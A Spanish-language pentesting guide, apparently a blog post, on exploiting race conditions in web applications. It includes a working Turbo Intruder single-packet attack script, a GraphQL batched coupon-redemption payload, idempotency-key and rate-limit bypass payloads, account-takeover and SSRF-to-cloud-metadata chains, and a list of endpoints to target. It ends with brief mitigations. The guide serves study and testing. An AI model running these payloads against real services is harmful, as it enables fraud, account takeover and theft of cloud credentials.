¿Qué es la Vulnerabilidad?

Una Race Condition (condición de carrera) ocurre cuando una aplicación procesa múltiples solicitudes concurrentes que comparten estado mutable sin los mecanismos de sincronización adecuados (mutex, semáforos, transacciones atómicas). El resultado es un TOCTOU (Time Of Check to Time Of Use) el gap esta en que el sistema verifica una condición, y antes de actuar sobre ella, otro hilo modifica el estado subyacente.

Tipos de Race Conditions en Aplicaciones Web

|Tipo               |Descripción                                                                              |
|-------------------|-----------------------------------------------------------------------------------------|
|Limit Overrun      |Superar un límite de negocio (cupones, retiros, votaciones).                             |
|Hidden State Abuse |Explotar sub-estados de transacciones multi-paso o estados temporales en memoria.        |
|Multi-Endpoint Race|Colisión entre flujos distintos que modifican el mismo recurso (ej: Pago vs Cancelación).|
|TOCTOU en Auth     |Bypass de MFA, 2FA, o ventanas de expiración de sesiones.                                |
|Token Race         |Colisión en generación/validación de tokens JWT/OAuth o códigos OTP.                     |
|DB Transaction Race|Explotar NOT EXISTS / INSERT en aislamiento inadecuado (`Read Committed`).               |
|Async Worker Race  |Desfase entre la API Gateway y el procesamiento asíncrono en colas (RabbitMQ/Kafka).     |

Impacto Real de la Vulnerabilidad

Escalera de Impacto

LOW                                                        CRITICAL
 │                                                              │
 ▼                                                              ▼
Usar cupón  →  Retirar dinero   →  Bypass MFA   →  Account Takeover +
2 veces          sin fondos          completo      Privilege Escalation
(P3)             (P2 / High)      (P1 / Critical)   (P1 / Critical)

Superficie de Impacto por Funcionalidad

3. Fingerprinting y Reconocimiento Específico

3.1 Indicadores de Arquitectura Vulnerable

Identificar los siguientes patrones en el comportamiento de la aplicación: Respuestas Inconsistentes al Repetir Solicitudes:

  • Solicitud 1: 200 OK {"status": "applied"}
  • Solicitud 2 (enviada simultáneamente): 200 OK {"status": "applied"} en vez de 400 Bad Request. Headers que delatan procesamiento multi-step: X-Request-Id: cambia entre solicitudes idénticas X-Processing-Time: valores muy variables para mismo endpoint Retry-After: presente en respuestas de límite → indica check separado Flujos No Atómicos (CHECK → ACT → UPDATE): Identificar APIs que estructuran las llamadas en pasos lógicos independientes:
  • POST /api/v1/checkout/validate (Check)
  • POST /api/v1/checkout/apply (Act)
  • POST /api/v1/checkout/finalize (Update)

3.2 Fingerprinting por Stack Tecnológico

|Stack            |Señales                                                        |Herramienta de Detección|
|-----------------|---------------------------------------------------------------|------------------------|
|Node.js / Express|Event loop single-thread; async sin locks → muy vulnerable     |Burp single-packet      |
|Python / Django  |GIL no protege I/O; celery tasks son async                     |Turbo Intruder          |
|PHP              |Sin estado nativo; sesiones en archivos → race en session files|Parallel curl           |
|Go               |Goroutines sin mutex → goroutine races comunes                 |wrk + custom scripts    |
|Java Spring      |JPA sin @Transactional → dirty reads                           |JMeter                  |
|Ruby on Rails    |ActiveRecord sin locking optimista                             |Burp Repeater group     |
|Redis como store |INCR sin transacción → race en contadores                      |Python asyncio          |
|Microservicios   |Latencia entre pods amplía el race window                      |Distributed timing      |

4. Metodologías de Explotación

4.1 Técnica Clásica — Single-Packet Attack (HTTP/2)

El método más efectivo para eliminar el jitter de red y colisionar solicitudes en el mismo race window. Configuración en Turbo Intruder:

# turbo_intruder_race_optimized.py
# Extensión: Turbo Intruder (Burp Suite)

def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,      # OBLIGATORIO: Asegura que viajen en el mismo pipe TCP
        requestsPerConnection=100,    # Capacidad del stream multiplexado
        pipeline=False,
        engine=Engine.BURP2           # Motor HTTP/2 Multiplexing
    )
    
    # 1. Connection Warming: Calienta el socket TCP para evitar el overhead del TLS Handshake
    for _ in range(10):
        engine.queue(target.req, gate='warmup')
    engine.openGate('warmup')
    engine.waitFor('warmup')
    
    # 2. El Ataque de Precisión: Encolar solicitudes con un identificador único (evitar caché)
    for i in range(50):
        # Mutamos un parámetro sutilmente o un header para evitar deduplicación en proxies
        req_mutated = target.req.replace('Idempotency-Key: ', f'Idempotency-Key: {i}')
        engine.queue(req_mutated, gate='race_window')
    
    # 3. Liberación Atómica de todas las solicitudes en un solo paquete
    engine.openGate('race_window')
 
def handleResponse(req, interesting):
    if req.status in [200, 201]:
        table.add(req)

Configuración en Burp Repeater:

  1. Crea grupo de requests (Send group in parallel)
  2. Click derecho → "Send group (single connection)"
  3. Selecciona HTTP/2 si el target lo soporta

4.2 Multi-Endpoint Race Conditions (GraphQL Batching Mutation)

GraphQL procesa las mutaciones de forma secuencial o paralela dependiendo de la arquitectura del engine. Si no hay locks en el resolver, enviar múltiples mutaciones en un único payload HTTP causa estragos.

# Payload de batching para race en GraphQL
# Enviar en una sola request HTTP:
 
[
  {
    "query": "mutation { redeemCoupon(code: \"SAVE50\", cartId: \"ABC\") { success discount } }"
  },
  {
    "query": "mutation { redeemCoupon(code: \"SAVE50\", cartId: \"ABC\") { success discount } }"
  },
  {
    "query": "mutation { redeemCoupon(code: \"SAVE50\", cartId: \"ABC\") { success discount } }"
  }
]

5. Bypass de WAFs y Defensas Modernas

5.1 Defensas Comunes y sus Bypasses

|Defensa              |Mecanismo                               |Bypass                                                           |
|---------------------|----------------------------------------|-----------------------------------------------------------------|
|Rate Limiting por IP |X solicitudes por segundo por IP        |Distribución via proxies / Tor / múltiples IPs                   |
|Idempotency Keys     |Header Idempotency-Key único por request|Omitir el header; algunos servidores lo hacen opcional           |
|Redis SETNX / Locks  |Lock distribuido antes de operación     |Explotar la latencia de red entre microservicios                 |
|DB Transactions      |BEGIN; ... COMMIT; atómico              |Race entre conexiones distintas en DBs sin serializable isolation|
|JWT con nonce        |Nonce de un solo uso en token           |Race en validación del nonce si no hay lock                      |
|Cloudflare Rate Limit|Basado en firmas de solicitud           |Variar User-Agent, headers, orden de parámetros                  |

5.2 Bypass de Idempotency Keys

Cuando el servidor usa componentes intermedios (ej: API Gateway en Go y Backend en PHP) para validar las llaves de idempotencia (Idempotency-Key), se puede explotar cómo interpretan los strings:

  • Abuso de Espacios en Blanco y Padding:
Idempotency-Key: key_123\x00
Idempotency-Key: key_123\r\n
Idempotency-Key:  key_123
  • Duplicación de Headers con Mutación de Case (HTTP/2 permite duplicados en capas permisivas):
idempotency-key: valid_key
Idempotency-Key: valid_key
  • Inyección de Payload JSON en Contenedores No Homogéneos: Si el validador lee el header, pero el backend procesa un JSON de estado, envía variables clonadas en el cuerpo:
{
	"transaction_id": "tx_999",
	"transaction_id": "tx_999 "
}

6. Encadenamiento de Vulnerabilidades (Vulnerability Chaining)

6.1 Race Condition → Account Takeover

[1] Race Condition en Password Reset
    │
    ├─ Solicitar reset para víctima (obtener token A)  ──┐
    └─ Solicitar reset nuevamente (obtener token B)    ──┤ Race window
                                                         │
                                                    ¿Token A aún válido?
                                                         │
                                                    [SÍ] → Usar token A
                                                    para cambiar contraseña
                                                    ANTES de que expire
                                                         │
                                                    [RESULTADO]
                                                    Account Takeover
                                                    CVSS: 9.8 (Critical)

6.2 Race Condition → SSRF (Cloud Metadata Exfiltration)

En aplicaciones con validación de Webhooks tipo "Next-Gen":

  1. El atacante envía un POST /api/webhooks con la URL http://un-dominio-controlado.com.
  2. El sistema inicia el hilo de verificación (CHECK): valida que la IP no sea interna de AWS/GCP.
  3. El atacante envía inmediatamente un PATCH /api/webhooks/123 cambiando la URL a http://169.254.169.254/latest/metadata/.
  4. El hilo original ejecuta la acción (ACT): realiza el disparo (ping) hacia la URL modificada antes de que el cambio impacte en la lógica de validación, logrando un SSRF Crítico.

7. Tablas Complementarias

7.1 Matriz de Aislamiento de Bases de Datos y Vulnerabilidad

|Motor de DB    |Nivel de Aislamiento por Defecto|Vulnerable a Race Conditions                                                        |
|---------------|--------------------------------|------------------------------------------------------------------------------------|
|MySQL / MariaDB|REPEATABLE READ                 |Sí (Permite lecturas fantasmas si se usa un flujo estánda SELECT -> UPDATE).        |
|PostgreSQL     |READ COMMITTED                  |Sí (Cada consulta ve solo datos confirmados antes de que la consulta comience).     |
|MongoDB        |Operación Atómica por Documento |Sí (En operaciones que involucren múltiples documentos o llamadas asíncronas).      |
|Redis          |Single-Threaded                 |Sí (Si la lógica de negocio ejecuta varios comandos independientes secuencialmente).|

8. Business Impact

Impacto Financiero Directo:

  • Un atacante puede ejecutar este ataque N veces por sesión autenticada
  • Escalabilidad: El ataque puede automatizarse con scripts básicos de Python afectando a miles de transacciones antes de ser detectado

Impacto en la Integridad del Sistema:

  • Viola los controles de integridad transaccional de la plataforma
  • Rompe la lógica de negocio que garantiza
  • Puede resultar en estados inconsistentes de base de datos difíciles de auditar

Riesgo de Reputación:

  • Si se explota masivamente, puede resultar en pérdidas no recuperables
  • Puede ser explotado por competidores o actores maliciosos de forma silenciosa
  • Los logs de la aplicación pueden llegar a detectar este patrón de ataque

10. Estructura de Endpoints Vulnerables

Patrones de URL que Merecen Testing Inmediato

# E-commerce / Pagos
POST /api/*/redeem
POST /api/*/apply-coupon
POST /api/*/checkout
POST /api/*/transfer
POST /api/*/withdraw
POST /api/*/refund
 
# Auth / Accounts  
POST /api/*/mfa/verify
POST /api/*/oauth/token
POST /api/*/password-reset/confirm
POST /api/*/upgrade
POST /api/*/invite/accept
 
# Social / Engagement
POST /api/*/vote
POST /api/*/like
POST /api/*/rate
POST /api/*/review
 
# Admin / Permisos
POST /api/*/role/assign
POST /api/*/permission/grant
POST /api/*/approve

11. Mitigación Definitiva

  1. Aislamiento de Base de Datos: Forzar el uso de consultas con bloqueo para asegurar la atomicidad de la operación
  2. Uso de Locks Distribuidos (Capas Intermedias): Si la lógica se procesa en microservicios, implementar un mecanismo de bloqueo atómico distribuido basado en Redis (Redlock) antes de iniciar la verificación del estado
  3. Garantía de Llaves de Idempotencia Estrictas: Obligar a que cada transacción financiera o mutación crítica requiera un header Idempotency-Key único, el cual debe validarse y persistirse en un almacenamiento de lectura ultra rápida (ej: Redis) con una operación atómica SETNX antes de ejecutar cualquier lógica de negocio colateral.

Conéctate conmigo

Support Me ☕

Si esto te ha resultado útil, te agradecería que me siguieras y apoyaras este contenido.